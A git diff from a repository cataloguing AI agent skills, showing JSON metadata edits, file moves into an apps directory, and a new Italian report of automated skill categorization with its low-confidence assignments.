+ "description": "Terraform module creation for AWS — reusable modules, state management, and HCL best practices. Use when building or reviewing Terraform AWS infrastructure.",
"risk": "unknown",
"source": "community",
"date_added": "2026-02-27"
@@ -11006,7 +11006,7 @@
"name": "threejs-materials",
"description": "Three.js materials - PBR, basic, phong, shader materials, material properties. Use when styling meshes, working with textures, creating custom shaders, or optimizing material performance.",
"risk": "unknown",
- "source": "unknown",
+ "source": "community",
"date_added": null
},
{
@@ -11104,7 +11104,7 @@
"path": "skills/travel-health-analyzer",
"category": "uncategorized",
"name": "travel-health-analyzer",
- "description": "\u5206\u6790\u65c5\u884c\u5065\u5eb7\u6570\u636e\u3001\u8bc4\u4f30\u76ee\u7684\u5730\u5065\u5eb7\u98ce\u9669\u3001\u63d0\u4f9b\u75ab\u82d7\u63a5\u79cd\u5efa\u8bae\u3001\u751f\u6210\u591a\u8bed\u8a00\u7d27\u6025\u533b\u7597\u4fe1\u606f\u5361\u7247\u3002\u652f\u6301WHO/CDC\u6570\u636e\u96c6\u6210\u7684\u4e13\u4e1a\u7ea7\u65c5\u884c\u5065\u5eb7\u98ce\u9669\u8bc4\u4f30\u3002",
+ "description": "分析旅行健康数据、评估目的地健康风险、提供疫苗接种建议、生成多语言紧急医疗信息卡片。支持WHO/CDC数据集成的专业级旅行健康风险评估。",
"risk": "unknown",
"source": "unknown",
"date_added": null
@@ -11654,7 +11654,7 @@
"path": "skills/weightloss-analyzer",
"category": "uncategorized",
"name": "weightloss-analyzer",
- "description": "\u5206\u6790\u51cf\u80a5\u6570\u636e\u3001\u8ba1\u7b97\u4ee3\u8c22\u7387\u3001\u8ffd\u8e2a\u80fd\u91cf\u7f3a\u53e3\u3001\u7ba1\u7406\u51cf\u80a5\u9636\u6bb5",
+ "description": "分析减肥数据、计算代谢率、追踪能量缺口、管理减肥阶段",
"risk": "unknown",
"source": "unknown",
"date_added": null
@@ -11704,7 +11704,7 @@
"path": "skills/wiki-onboarding",
"category": "uncategorized",
"name": "wiki-onboarding",
- "description": "Generates two complementary onboarding guides \u2014 a Principal-Level architectural deep-dive and a Zero-to-Hero contributor walkthrough. Use when the user wants onboarding documentation fo...",
+ "description": "Generates two complementary onboarding guides — a Principal-Level architectural deep-dive and a Zero-to-Hero contributor walkthrough. Use when the user wants onboarding documentation fo...",
"risk": "unknown",
"source": "community",
"date_added": "2026-02-27"
@@ -11914,7 +11914,7 @@
"path": "skills/x-twitter-scraper",
"category": "data",
"name": "x-twitter-scraper",
- "description": "X (Twitter) data platform skill \u2014 tweet search, user lookup, follower extraction, engagement metrics, giveaway draws, monitoring, webhooks, 19 extraction tools, MCP server.",
+ "description": "X (Twitter) data platform skill — tweet search, user lookup, follower extraction, engagement metrics, giveaway draws, monitoring, webhooks, 19 extraction tools, MCP server.",
"risk": "safe",
"source": "community",
"date_added": "2026-02-28"
@@ -12004,7 +12004,7 @@
"path": "skills/zod-validation-expert",
"category": "uncategorized",
"name": "zod-validation-expert",
- "description": "Expert in Zod \u2014 TypeScript-first schema validation. Covers parsing, custom errors, refinements, type inference, and integration with React Hook Form, Next.js, and tRPC.",
+ "description": "Expert in Zod — TypeScript-first schema validation. Covers parsing, custom errors, refinements, type inference, and integration with React Hook Form, Next.js, and tRPC.",
"risk": "safe",
"source": "community",
"date_added": "2026-03-05"
diff --git a/web-app/public/vite.svg b/apps/web-app/public/vite.svg
similarity index 100%
rename from web-app/public/vite.svg
rename to apps/web-app/public/vite.svg
diff --git a/web-app/refresh-skills-plugin.js b/apps/web-app/refresh-skills-plugin.js
similarity index 100%
rename from web-app/refresh-skills-plugin.js
rename to apps/web-app/refresh-skills-plugin.js
diff --git a/web-app/src/App.css b/apps/web-app/src/App.css
similarity index 100%
rename from web-app/src/App.css
rename to apps/web-app/src/App.css
diff --git a/web-app/src/App.tsx b/apps/web-app/src/App.tsx
similarity index 100%
rename from web-app/src/App.tsx
rename to apps/web-app/src/App.tsx
diff --git a/web-app/src/assets/react.svg b/apps/web-app/src/assets/react.svg
similarity index 100%
rename from web-app/src/assets/react.svg
rename to apps/web-app/src/assets/react.svg
diff --git a/web-app/src/components/SkillCard.tsx b/apps/web-app/src/components/SkillCard.tsx
similarity index 100%
rename from web-app/src/components/SkillCard.tsx
rename to apps/web-app/src/components/SkillCard.tsx
diff --git a/web-app/src/components/SkillStarButton.tsx b/apps/web-app/src/components/SkillStarButton.tsx
similarity index 100%
rename from web-app/src/components/SkillStarButton.tsx
rename to apps/web-app/src/components/SkillStarButton.tsx
diff --git a/web-app/src/context/SkillContext.tsx b/apps/web-app/src/context/SkillContext.tsx
similarity index 100%
rename from web-app/src/context/SkillContext.tsx
rename to apps/web-app/src/context/SkillContext.tsx
diff --git a/web-app/src/factories/skill.ts b/apps/web-app/src/factories/skill.ts
similarity index 100%
rename from web-app/src/factories/skill.ts
rename to apps/web-app/src/factories/skill.ts
diff --git a/web-app/src/hooks/__tests__/useSkillStars.test.ts b/apps/web-app/src/hooks/__tests__/useSkillStars.test.ts
similarity index 100%
rename from web-app/src/hooks/__tests__/useSkillStars.test.ts
rename to apps/web-app/src/hooks/__tests__/useSkillStars.test.ts
diff --git a/web-app/src/hooks/useSkillStars.ts b/apps/web-app/src/hooks/useSkillStars.ts
similarity index 100%
rename from web-app/src/hooks/useSkillStars.ts
rename to apps/web-app/src/hooks/useSkillStars.ts
diff --git a/web-app/src/index.css b/apps/web-app/src/index.css
similarity index 100%
rename from web-app/src/index.css
rename to apps/web-app/src/index.css
diff --git a/web-app/src/lib/supabase.ts b/apps/web-app/src/lib/supabase.ts
similarity index 100%
rename from web-app/src/lib/supabase.ts
rename to apps/web-app/src/lib/supabase.ts
diff --git a/web-app/src/main.tsx b/apps/web-app/src/main.tsx
similarity index 100%
rename from web-app/src/main.tsx
rename to apps/web-app/src/main.tsx
diff --git a/web-app/src/pages/Home.tsx b/apps/web-app/src/pages/Home.tsx
similarity index 100%
rename from web-app/src/pages/Home.tsx
rename to apps/web-app/src/pages/Home.tsx
diff --git a/web-app/src/pages/SkillDetail.tsx b/apps/web-app/src/pages/SkillDetail.tsx
similarity index 100%
rename from web-app/src/pages/SkillDetail.tsx
rename to apps/web-app/src/pages/SkillDetail.tsx
diff --git a/web-app/src/pages/__tests__/Home.test.tsx b/apps/web-app/src/pages/__tests__/Home.test.tsx
similarity index 100%
rename from web-app/src/pages/__tests__/Home.test.tsx
rename to apps/web-app/src/pages/__tests__/Home.test.tsx
diff --git a/web-app/src/pages/__tests__/SkillDetail.test.tsx b/apps/web-app/src/pages/__tests__/SkillDetail.test.tsx
similarity index 100%
rename from web-app/src/pages/__tests__/SkillDetail.test.tsx
rename to apps/web-app/src/pages/__tests__/SkillDetail.test.tsx
diff --git a/web-app/src/test/setup.ts b/apps/web-app/src/test/setup.ts
similarity index 100%
rename from web-app/src/test/setup.ts
rename to apps/web-app/src/test/setup.ts
diff --git a/web-app/src/types/index.ts b/apps/web-app/src/types/index.ts
similarity index 100%
rename from web-app/src/types/index.ts
rename to apps/web-app/src/types/index.ts
diff --git a/web-app/src/utils/testUtils.tsx b/apps/web-app/src/utils/testUtils.tsx
similarity index 100%
rename from web-app/src/utils/testUtils.tsx
rename to apps/web-app/src/utils/testUtils.tsx
diff --git a/web-app/tsconfig.json b/apps/web-app/tsconfig.json
similarity index 100%
rename from web-app/tsconfig.json
rename to apps/web-app/tsconfig.json
diff --git a/web-app/public/skills/loki-mode/examples/todo-app-generated/frontend/tsconfig.node.json b/apps/web-app/tsconfig.node.json
similarity index 100%
rename from web-app/public/skills/loki-mode/examples/todo-app-generated/frontend/tsconfig.node.json
rename to apps/web-app/tsconfig.node.json
diff --git a/web-app/vite.config.ts b/apps/web-app/vite.config.ts
similarity index 100%
rename from web-app/vite.config.ts
rename to apps/web-app/vite.config.ts
diff --git a/web-app/vitest.config.ts b/apps/web-app/vitest.config.ts
similarity index 100%
rename from web-app/vitest.config.ts
rename to apps/web-app/vitest.config.ts
diff --git a/categorization_report.txt b/categorization_report.txt
new file mode 100644
index 00000000..1947cc66
--- /dev/null
+++ b/categorization_report.txt
@@ -0,0 +1,747 @@
+================================================================================
+REPORT DI CATEGORIZZAZIONE SKILLS
+================================================================================
+
+Totale skills processate: 1139
+Categorizzate: 667 (58.6%)
+Non categorizzate: 472 (41.4%)
+
+--------------------------------------------------------------------------------
+DISTRIBUZIONE PER CATEGORIA
+--------------------------------------------------------------------------------
+ cloud-devops: 155 skills
+ security: 57 skills
+ product-business: 57 skills
+ languages-frameworks: 49 skills
+ ai-ml: 48 skills
+ frontend: 37 skills
+ game-development: 32 skills
+ web3-blockchain: 29 skills
+ data-engineering: 28 skills
+ database: 25 skills
+ testing-qa: 24 skills
+ workflow-automation: 22 skills
+ marketing-growth: 21 skills
+ api-integration: 20 skills
+ backend: 17 skills
+ mobile: 16 skills
+ 3d-web: 12 skills
+ documentation-content: 9 skills
+ infrastructure-sre: 7 skills
+ meta: 2 skills
+
+--------------------------------------------------------------------------------
+SKILLS A BASSA CONFIDENZA (655)
+--------------------------------------------------------------------------------
+ neon-postgres: database (confidenza: 0.55)
+ crewai: ai-ml (confidenza: 0.56)
+ last30days: web3-blockchain (confidenza: 0.57)
+ launch-strategy: web3-blockchain (confidenza: 0.57)
+ legacy-modernizer: web3-blockchain (confidenza: 0.57)
+ legal-advisor: web3-blockchain (confidenza: 0.57)
+ lightning-architecture-review: web3-blockchain (confidenza: 0.57)
+ lightning-channel-factories: web3-blockchain (confidenza: 0.57)
+ lightning-factory-explainer: web3-blockchain (confidenza: 0.57)
+ lint-and-validate: web3-blockchain (confidenza: 0.57)
+ linux-shell-scripting: web3-blockchain (confidenza: 0.57)
+ literature-analysis: web3-blockchain (confidenza: 0.57)
+ local-legal-seo-audit: web3-blockchain (confidenza: 0.57)
+ logistics-exception-management: web3-blockchain (confidenza: 0.57)
+ prisma-expert: database (confidenza: 0.57)
+ ai-agents-architect: ai-ml (confidenza: 0.58)
+ ai-analyzer: ai-ml (confidenza: 0.58)
+ ai-engineer: ai-ml (confidenza: 0.58)
+ ai-product: ai-ml (confidenza: 0.58)
+ ai-wrapper-product: ai-ml (confidenza: 0.58)
+ airflow-dag-patterns: ai-ml (confidenza: 0.58)
+ airtable-automation: ai-ml (confidenza: 0.58)
+ cc-skill-backend-patterns: game-development (confidenza: 0.58)
+ cc-skill-clickhouse-io: game-development (confidenza: 0.58)
+ cc-skill-coding-standards: game-development (confidenza: 0.58)
+ cc-skill-continuous-learning: game-development (confidenza: 0.58)
+ cc-skill-frontend-patterns: game-development (confidenza: 0.58)
+ cc-skill-project-guidelines-example: game-development (confidenza: 0.58)
+ cc-skill-strategic-compact: game-development (confidenza: 0.58)
+ data-scientist: web3-blockchain (confidenza: 0.58)
+ data-storytelling: web3-blockchain (confidenza: 0.58)
+ data-structure-protocol: web3-blockchain (confidenza: 0.58)
+ data-visualization: web3-blockchain (confidenza: 0.58)
+ dbos-golang: database (confidenza: 0.58)
+ dbos-python: database (confidenza: 0.58)
+ dbos-typescript: database (confidenza: 0.58)
+ dbt-transformation-patterns: database (confidenza: 0.58)
+ drizzle-orm-expert: database (confidenza: 0.58)
+ fda-food-safety-auditor: database (confidenza: 0.58)
+ fda-medtech-compliance-auditor: database (confidenza: 0.58)
+ go-concurrency-patterns: languages-frameworks (confidenza: 0.58)
+ go-playwright: languages-frameworks (confidenza: 0.58)
+ go-rod-master: languages-frameworks (confidenza: 0.58)
+ goal-analyzer: languages-frameworks (confidenza: 0.58)
+ godot-4-migration: languages-frameworks (confidenza: 0.58)
+ godot-gdscript-patterns: languages-frameworks (confidenza: 0.58)
+ golang-pro: languages-frameworks (confidenza: 0.58)
+ google-analytics-automation: languages-frameworks (confidenza: 0.58)
+ google-calendar-automation: languages-frameworks (confidenza: 0.58)
+ google-docs-automation: languages-frameworks (confidenza: 0.58)
+ google-drive-automation: languages-frameworks (confidenza: 0.58)
+ google-sheets-automation: languages-frameworks (confidenza: 0.58)
+ google-slides-automation: languages-frameworks (confidenza: 0.58)
+ googlesheets-automation: languages-frameworks (confidenza: 0.58)
+ hybrid-search-implementation: languages-frameworks (confidenza: 0.58)
+ langfuse: ai-ml (confidenza: 0.58)
+ ml-engineer: ai-ml (confidenza: 0.58)
+ ml-pipeline-workflow: ai-ml (confidenza: 0.58)
+ mlops-engineer: ai-ml (confidenza: 0.58)
+ osint-evals: cloud-devops (confidenza: 0.58)
+ oss-hunter: cloud-devops (confidenza: 0.58)
+ tiktok-automation: languages-frameworks (confidenza: 0.58)
+ twilio-communications: game-development (confidenza: 0.58)
+ twitter-automation: game-development (confidenza: 0.58)
+ ui-skills: frontend (confidenza: 0.58)
+ ui-ux-designer: frontend (confidenza: 0.58)
+ ui-ux-pro-max: frontend (confidenza: 0.58)
+ ui-visual-validator: frontend (confidenza: 0.58)
+ api-design-principles: api-integration (confidenza: 0.59)
+ api-documentation-generator: api-integration (confidenza: 0.59)
+ api-documenter: api-integration (confidenza: 0.59)
+ api-fuzzing-bug-bounty: api-integration (confidenza: 0.59)
+ api-patterns: api-integration (confidenza: 0.59)
+ apify-actor-development: api-integration (confidenza: 0.59)
+ apify-actorization: api-integration (confidenza: 0.59)
+ apify-audience-analysis: api-integration (confidenza: 0.59)
+ apify-brand-reputation-monitoring: api-integration (confidenza: 0.59)
+ apify-competitor-intelligence: api-integration (confidenza: 0.59)
+ apify-content-analytics: api-integration (confidenza: 0.59)
+ apify-ecommerce: api-integration (confidenza: 0.59)
+ apify-influencer-discovery: api-integration (confidenza: 0.59)
+ apify-lead-generation: api-integration (confidenza: 0.59)
+ apify-market-research: api-integration (confidenza: 0.59)
+ apify-trend-analysis: api-integration (confidenza: 0.59)
+ apify-ultimate-scraper: api-integration (confidenza: 0.59)
+ avalonia-layout-zafiro: testing-qa (confidenza: 0.59)
+ avalonia-viewmodels-zafiro: testing-qa (confidenza: 0.59)
+ avalonia-zafiro-development: testing-qa (confidenza: 0.59)
+ aws-agentic-ai: cloud-devops (confidenza: 0.59)
+ aws-cdk-development: cloud-devops (confidenza: 0.59)
+ aws-common: cloud-devops (confidenza: 0.59)
+ aws-cost-cleanup: cloud-devops (confidenza: 0.59)
+ aws-cost-ops: cloud-devops (confidenza: 0.59)
+ aws-cost-optimizer: cloud-devops (confidenza: 0.59)
+ aws-mcp-setup: cloud-devops (confidenza: 0.59)
+ aws-penetration-testing: cloud-devops (confidenza: 0.59)
+ aws-serverless: cloud-devops (confidenza: 0.59)
+ aws-serverless-eda: cloud-devops (confidenza: 0.59)
+ aws-skills: cloud-devops (confidenza: 0.59)
+ coda-automation: game-development (confidenza: 0.59)
+ code-documentation-code-explain: game-development (confidenza: 0.59)
+ code-documentation-doc-generate: game-development (confidenza: 0.59)
+ code-refactoring-context-restore: game-development (confidenza: 0.59)
+ code-refactoring-refactor-clean: game-development (confidenza: 0.59)
+ code-refactoring-tech-debt: game-development (confidenza: 0.59)
+ code-review-ai-ai-review: game-development (confidenza: 0.59)
+ code-review-checklist: game-development (confidenza: 0.59)
+ code-review-excellence: game-development (confidenza: 0.59)
+ code-reviewer: game-development (confidenza: 0.59)
+ code-simplifier: game-development (confidenza: 0.59)
+ codebase-cleanup-deps-audit: game-development (confidenza: 0.59)
+ codebase-cleanup-refactor-clean: game-development (confidenza: 0.59)
+ codebase-cleanup-tech-debt: game-development (confidenza: 0.59)
+ codex-review: game-development (confidenza: 0.59)
+ cpp-pro: languages-frameworks (confidenza: 0.59)
+ daily-news-report: web3-blockchain (confidenza: 0.59)
+ doc-coauthoring: documentation-content (confidenza: 0.59)
+ docs-architect: documentation-content (confidenza: 0.59)
+ docusign-automation: documentation-content (confidenza: 0.59)
+ docx-official: documentation-content (confidenza: 0.59)
+ domain-driven-design: frontend (confidenza: 0.59)
+ gcp-cloud-run: cloud-devops (confidenza: 0.59)
+ ios-developer: mobile (confidenza: 0.59)
+ k8s-manifest-generator: cloud-devops (confidenza: 0.59)
+ kpi-dashboard-design: product-business (confidenza: 0.59)
+ langchain-architecture: ai-ml (confidenza: 0.59)
+ langgraph: ai-ml (confidenza: 0.59)
+ llm-app-patterns: ai-ml (confidenza: 0.59)
+ llm-application-dev-ai-assistant: ai-ml (confidenza: 0.59)
+ llm-application-dev-langchain-agent: ai-ml (confidenza: 0.59)
+ llm-application-dev-prompt-optimize: ai-ml (confidenza: 0.59)
+ llm-evaluation: ai-ml (confidenza: 0.59)
+ llm-prompt-optimizer: ai-ml (confidenza: 0.59)
+ n8n-code-javascript: workflow-automation (confidenza: 0.59)
+ n8n-code-python: workflow-automation (confidenza: 0.59)
+ n8n-expression-syntax: workflow-automation (confidenza: 0.59)
+ n8n-mcp-tools-expert: workflow-automation (confidenza: 0.59)
+ n8n-node-configuration: workflow-automation (confidenza: 0.59)
+ n8n-validation-expert: workflow-automation (confidenza: 0.59)
+ n8n-workflow-patterns: workflow-automation (confidenza: 0.59)
+ nft-standards: web3-blockchain (confidenza: 0.59)
+ pdf-official: documentation-content (confidenza: 0.59)
+ php-pro: languages-frameworks (confidenza: 0.59)
+ postgres-best-practices: database (confidenza: 0.59)
+ postgresql: database (confidenza: 0.59)
+ rag-engineer: ai-ml (confidenza: 0.59)
+ red-team-tactics: languages-frameworks (confidenza: 0.59)
+ red-team-tools: languages-frameworks (confidenza: 0.59)
+ reddit-automation: languages-frameworks (confidenza: 0.59)
+ seo-audit: marketing-growth (confidenza: 0.59)
+ seo-authority-builder: marketing-growth (confidenza: 0.59)
+ seo-cannibalization-detector: marketing-growth (confidenza: 0.59)
+ seo-content-auditor: marketing-growth (confidenza: 0.59)
+ seo-content-planner: marketing-growth (confidenza: 0.59)
+ seo-content-refresher: marketing-growth (confidenza: 0.59)
+ seo-content-writer: marketing-growth (confidenza: 0.59)
+ seo-forensic-incident-response: marketing-growth (confidenza: 0.59)
+ seo-fundamentals: marketing-growth (confidenza: 0.59)
+ seo-keyword-strategist: marketing-growth (confidenza: 0.59)
+ seo-meta-optimizer: marketing-growth (confidenza: 0.59)
+ seo-snippet-hunter: marketing-growth (confidenza: 0.59)
+ seo-structure-architect: marketing-growth (confidenza: 0.59)
+ sql-optimization-patterns: database (confidenza: 0.59)
+ sql-pro: database (confidenza: 0.59)
+ sred-project-organizer: cloud-devops (confidenza: 0.59)
+ sred-work-summary: cloud-devops (confidenza: 0.59)
+ supabase-automation: database (confidenza: 0.59)
+ agent-evaluation: ai-ml (confidenza: 0.60)
+ agent-framework-azure-ai-py: ai-ml (confidenza: 0.60)
+ agent-manager-skill: ai-ml (confidenza: 0.60)
+ agent-memory-mcp: ai-ml (confidenza: 0.60)
+ agent-memory-systems: ai-ml (confidenza: 0.60)
+ agent-orchestration-improve-agent: ai-ml (confidenza: 0.60)
+ agent-orchestration-multi-agent-optimize: ai-ml (confidenza: 0.60)
+ agent-tool-builder: ai-ml (confidenza: 0.60)
+ auth-implementation-patterns: security (confidenza: 0.60)
+ basecamp-automation: web3-blockchain (confidenza: 0.60)
+ baseline-ui: web3-blockchain (confidenza: 0.60)
+ bash-defensive-patterns: languages-frameworks (confidenza: 0.60)
+ bash-linux: languages-frameworks (confidenza: 0.60)
+ bash-pro: languages-frameworks (confidenza: 0.60)
+ bevy-ecs-expert: game-development (confidenza: 0.60)
+ burp-suite-testing: security (confidenza: 0.60)
+ burpsuite-project-parser: security (confidenza: 0.60)
+ c-pro: languages-frameworks (confidenza: 0.60)
+ defi-protocol-templates: web3-blockchain (confidenza: 0.60)
+ expo-api-routes: mobile (confidenza: 0.60)
+ expo-cicd-workflows: mobile (confidenza: 0.60)
+ expo-deployment: mobile (confidenza: 0.60)
+ expo-dev-client: mobile (confidenza: 0.60)
+ expo-tailwind-setup: mobile (confidenza: 0.60)
+ expo-ui-jetpack-compose: mobile (confidenza: 0.60)
+ expo-ui-swift-ui: mobile (confidenza: 0.60)
+ form-cro: frontend (confidenza: 0.60)
+ game-development: game-development (confidenza: 0.60)
+ grpc-golang: backend (confidenza: 0.60)
+ helm-chart-scaffolding: cloud-devops (confidenza: 0.60)
+ helpdesk-automation: product-business (confidenza: 0.60)
+ idor-testing: security (confidenza: 0.60)
+ java-pro: languages-frameworks (confidenza: 0.60)
+ loki-mode: data-engineering (confidenza: 0.60)
+ make-automation: workflow-automation (confidenza: 0.60)
+ makepad-animation: workflow-automation (confidenza: 0.60)
+ makepad-basics: workflow-automation (confidenza: 0.60)
+ makepad-deployment: workflow-automation (confidenza: 0.60)
+ makepad-dsl: workflow-automation (confidenza: 0.60)
+ makepad-event-action: workflow-automation (confidenza: 0.60)
+ makepad-font: workflow-automation (confidenza: 0.60)
+ makepad-layout: workflow-automation (confidenza: 0.60)
+ makepad-platform: workflow-automation (confidenza: 0.60)
+ makepad-reference: workflow-automation (confidenza: 0.60)
+ makepad-shaders: workflow-automation (confidenza: 0.60)
+ makepad-skills: workflow-automation (confidenza: 0.60)
+ makepad-splash: workflow-automation (confidenza: 0.60)
+ makepad-widgets: workflow-automation (confidenza: 0.60)
+ modern-javascript-patterns: data-engineering (confidenza: 0.60)
+ pptx-official: documentation-content (confidenza: 0.60)
+ risk-manager: security (confidenza: 0.60)
+ risk-metrics-calculation: security (confidenza: 0.60)
+ risk-modeling: security (confidenza: 0.60)
+ ruby-pro: languages-frameworks (confidenza: 0.60)
+ rust-async-patterns: languages-frameworks (confidenza: 0.60)
+ rust-pro: languages-frameworks (confidenza: 0.60)
+ saga-orchestration: api-integration (confidenza: 0.60)
+ sast-configuration: security (confidenza: 0.60)
+ skin-health-analyzer: product-business (confidenza: 0.60)
+ test-automator: testing-qa (confidenza: 0.60)
+ test-driven-development: testing-qa (confidenza: 0.60)
+ test-fixing: testing-qa (confidenza: 0.60)
+ wiki-architect: product-business (confidenza: 0.60)
+ wiki-changelog: product-business (confidenza: 0.60)
+ wiki-onboarding: product-business (confidenza: 0.60)
+ wiki-page-writer: product-business (confidenza: 0.60)
+ wiki-qa: product-business (confidenza: 0.60)
+ wiki-researcher: product-business (confidenza: 0.60)
+ wiki-vitepress: product-business (confidenza: 0.60)
+ xlsx-official: documentation-content (confidenza: 0.60)
+ zeroize-audit: web3-blockchain (confidenza: 0.60)
+ zoom-automation: product-business (confidenza: 0.60)
+ astropy: web3-blockchain (confidenza: 0.61)
+ azure-ai-agents-persistent-dotnet: cloud-devops (confidenza: 0.61)
+ azure-ai-agents-persistent-java: cloud-devops (confidenza: 0.61)
+ azure-ai-anomalydetector-java: cloud-devops (confidenza: 0.61)
+ azure-ai-contentsafety-java: cloud-devops (confidenza: 0.61)
+ azure-ai-contentsafety-py: cloud-devops (confidenza: 0.61)
+ azure-ai-contentsafety-ts: cloud-devops (confidenza: 0.61)
+ azure-ai-contentunderstanding-py: cloud-devops (confidenza: 0.61)
+ azure-ai-document-intelligence-dotnet: cloud-devops (confidenza: 0.61)
+ azure-ai-document-intelligence-ts: cloud-devops (confidenza: 0.61)
+ azure-ai-formrecognizer-java: cloud-devops (confidenza: 0.61)
+ azure-ai-ml-py: cloud-devops (confidenza: 0.61)
+ azure-ai-openai-dotnet: cloud-devops (confidenza: 0.61)
+ azure-ai-projects-dotnet: cloud-devops (confidenza: 0.61)
+ azure-ai-projects-java: cloud-devops (confidenza: 0.61)
+ azure-ai-projects-py: cloud-devops (confidenza: 0.61)
+ azure-ai-projects-ts: cloud-devops (confidenza: 0.61)
+ azure-ai-textanalytics-py: cloud-devops (confidenza: 0.61)
+ azure-ai-transcription-py: cloud-devops (confidenza: 0.61)
+ azure-ai-translation-document-py: cloud-devops (confidenza: 0.61)
+ azure-ai-translation-text-py: cloud-devops (confidenza: 0.61)
+ azure-ai-translation-ts: cloud-devops (confidenza: 0.61)
+ azure-ai-vision-imageanalysis-java: cloud-devops (confidenza: 0.61)
+ azure-ai-vision-imageanalysis-py: cloud-devops (confidenza: 0.61)
+ azure-ai-voicelive-dotnet: cloud-devops (confidenza: 0.61)
+ azure-ai-voicelive-java: cloud-devops (confidenza: 0.61)
+ azure-ai-voicelive-py: cloud-devops (confidenza: 0.61)
+ azure-ai-voicelive-ts: cloud-devops (confidenza: 0.61)
+ azure-appconfiguration-java: cloud-devops (confidenza: 0.61)
+ azure-appconfiguration-py: cloud-devops (confidenza: 0.61)
+ azure-appconfiguration-ts: cloud-devops (confidenza: 0.61)
+ azure-communication-callautomation-java: cloud-devops (confidenza: 0.61)
+ azure-communication-callingserver-java: cloud-devops (confidenza: 0.61)
+ azure-communication-chat-java: cloud-devops (confidenza: 0.61)
+ azure-communication-common-java: cloud-devops (confidenza: 0.61)
+ azure-communication-sms-java: cloud-devops (confidenza: 0.61)
+ azure-compute-batch-java: cloud-devops (confidenza: 0.61)
+ azure-containerregistry-py: cloud-devops (confidenza: 0.61)
+ azure-cosmos-db-py: cloud-devops (confidenza: 0.61)
+ azure-cosmos-java: cloud-devops (confidenza: 0.61)
+ azure-cosmos-py: cloud-devops (confidenza: 0.61)
+ azure-cosmos-rust: cloud-devops (confidenza: 0.61)
+ azure-cosmos-ts: cloud-devops (confidenza: 0.61)
+ azure-data-tables-java: cloud-devops (confidenza: 0.61)
+ azure-data-tables-py: cloud-devops (confidenza: 0.61)
+ azure-eventgrid-dotnet: cloud-devops (confidenza: 0.61)
+ azure-eventgrid-java: cloud-devops (confidenza: 0.61)
+ azure-eventgrid-py: cloud-devops (confidenza: 0.61)
+ azure-eventhub-dotnet: cloud-devops (confidenza: 0.61)
+ azure-eventhub-java: cloud-devops (confidenza: 0.61)
+ azure-eventhub-py: cloud-devops (confidenza: 0.61)
+ azure-eventhub-rust: cloud-devops (confidenza: 0.61)
+ azure-eventhub-ts: cloud-devops (confidenza: 0.61)
+ azure-functions: cloud-devops (confidenza: 0.61)
+ azure-identity-dotnet: cloud-devops (confidenza: 0.61)
+ azure-identity-java: cloud-devops (confidenza: 0.61)
+ azure-identity-py: cloud-devops (confidenza: 0.61)
+ azure-identity-rust: cloud-devops (confidenza: 0.61)
+ azure-identity-ts: cloud-devops (confidenza: 0.61)
+ azure-keyvault-certificates-rust: cloud-devops (confidenza: 0.61)
+ azure-keyvault-keys-rust: cloud-devops (confidenza: 0.61)
+ azure-keyvault-keys-ts: cloud-devops (confidenza: 0.61)
+ azure-keyvault-py: cloud-devops (confidenza: 0.61)
+ azure-keyvault-secrets-rust: cloud-devops (confidenza: 0.61)
+ azure-keyvault-secrets-ts: cloud-devops (confidenza: 0.61)
+ azure-maps-search-dotnet: cloud-devops (confidenza: 0.61)
+ azure-messaging-webpubsub-java: cloud-devops (confidenza: 0.61)
+ azure-messaging-webpubsubservice-py: cloud-devops (confidenza: 0.61)
+ azure-mgmt-apicenter-dotnet: cloud-devops (confidenza: 0.61)
+ azure-mgmt-apicenter-py: cloud-devops (confidenza: 0.61)
+ azure-mgmt-apimanagement-dotnet: cloud-devops (confidenza: 0.61)
+ azure-mgmt-apimanagement-py: cloud-devops (confidenza: 0.61)
+ azure-mgmt-applicationinsights-dotnet: cloud-devops (confidenza: 0.61)
+ azure-mgmt-arizeaiobservabilityeval-dotnet: cloud-devops (confidenza: 0.61)
+ azure-mgmt-botservice-dotnet: cloud-devops (confidenza: 0.61)
+ azure-mgmt-botservice-py: cloud-devops (confidenza: 0.61)
+ azure-mgmt-fabric-dotnet: cloud-devops (confidenza: 0.61)
+ azure-mgmt-fabric-py: cloud-devops (confidenza: 0.61)
+ azure-mgmt-mongodbatlas-dotnet: cloud-devops (confidenza: 0.61)
+ azure-mgmt-weightsandbiases-dotnet: cloud-devops (confidenza: 0.61)
+ azure-microsoft-playwright-testing-ts: cloud-devops (confidenza: 0.61)
+ azure-monitor-ingestion-java: cloud-devops (confidenza: 0.61)
+ azure-monitor-ingestion-py: cloud-devops (confidenza: 0.61)
+ azure-monitor-opentelemetry-exporter-java: cloud-devops (confidenza: 0.61)
+ azure-monitor-opentelemetry-exporter-py: cloud-devops (confidenza: 0.61)
+ azure-monitor-opentelemetry-py: cloud-devops (confidenza: 0.61)
+ azure-monitor-opentelemetry-ts: cloud-devops (confidenza: 0.61)
+ azure-monitor-query-java: cloud-devops (confidenza: 0.61)
+ azure-monitor-query-py: cloud-devops (confidenza: 0.61)
+ azure-postgres-ts: cloud-devops (confidenza: 0.61)
+ azure-resource-manager-cosmosdb-dotnet: cloud-devops (confidenza: 0.61)
+ azure-resource-manager-durabletask-dotnet: cloud-devops (confidenza: 0.61)
+ azure-resource-manager-mysql-dotnet: cloud-devops (confidenza: 0.61)
+ azure-resource-manager-playwright-dotnet: cloud-devops (confidenza: 0.61)
+ azure-resource-manager-postgresql-dotnet: cloud-devops (confidenza: 0.61)
+ azure-resource-manager-redis-dotnet: cloud-devops (confidenza: 0.61)
+ azure-resource-manager-sql-dotnet: cloud-devops (confidenza: 0.61)
+ azure-search-documents-dotnet: cloud-devops (confidenza: 0.61)
+ azure-search-documents-py: cloud-devops (confidenza: 0.61)
+ azure-search-documents-ts: cloud-devops (confidenza: 0.61)
+ azure-servicebus-dotnet: cloud-devops (confidenza: 0.61)
+ azure-servicebus-py: cloud-devops (confidenza: 0.61)
+ azure-servicebus-ts: cloud-devops (confidenza: 0.61)
+ azure-speech-to-text-rest-py: cloud-devops (confidenza: 0.61)
+ azure-storage-blob-java: cloud-devops (confidenza: 0.61)
+ azure-storage-blob-py: cloud-devops (confidenza: 0.61)
+ azure-storage-blob-rust: cloud-devops (confidenza: 0.61)
+ azure-storage-blob-ts: cloud-devops (confidenza: 0.61)
+ azure-storage-file-datalake-py: cloud-devops (confidenza: 0.61)
+ azure-storage-file-share-py: cloud-devops (confidenza: 0.61)
+ azure-storage-file-share-ts: cloud-devops (confidenza: 0.61)
+ azure-storage-queue-py: cloud-devops (confidenza: 0.61)
+ azure-storage-queue-ts: cloud-devops (confidenza: 0.61)
